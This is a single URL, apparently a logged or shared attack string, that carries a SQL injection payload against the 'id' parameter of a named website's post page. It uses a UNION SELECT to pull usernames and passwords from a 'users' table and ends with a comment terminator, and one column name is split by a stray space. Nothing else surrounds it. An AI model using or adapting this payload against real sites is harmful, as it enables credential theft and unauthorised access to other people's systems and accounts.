http://www.expressionindesign.com/post.php?id=29'+union+select+1,2,concat_ws(0x3a,us ername,password),3,4,5,7,8,9,0,1,2,3,4+from+users/*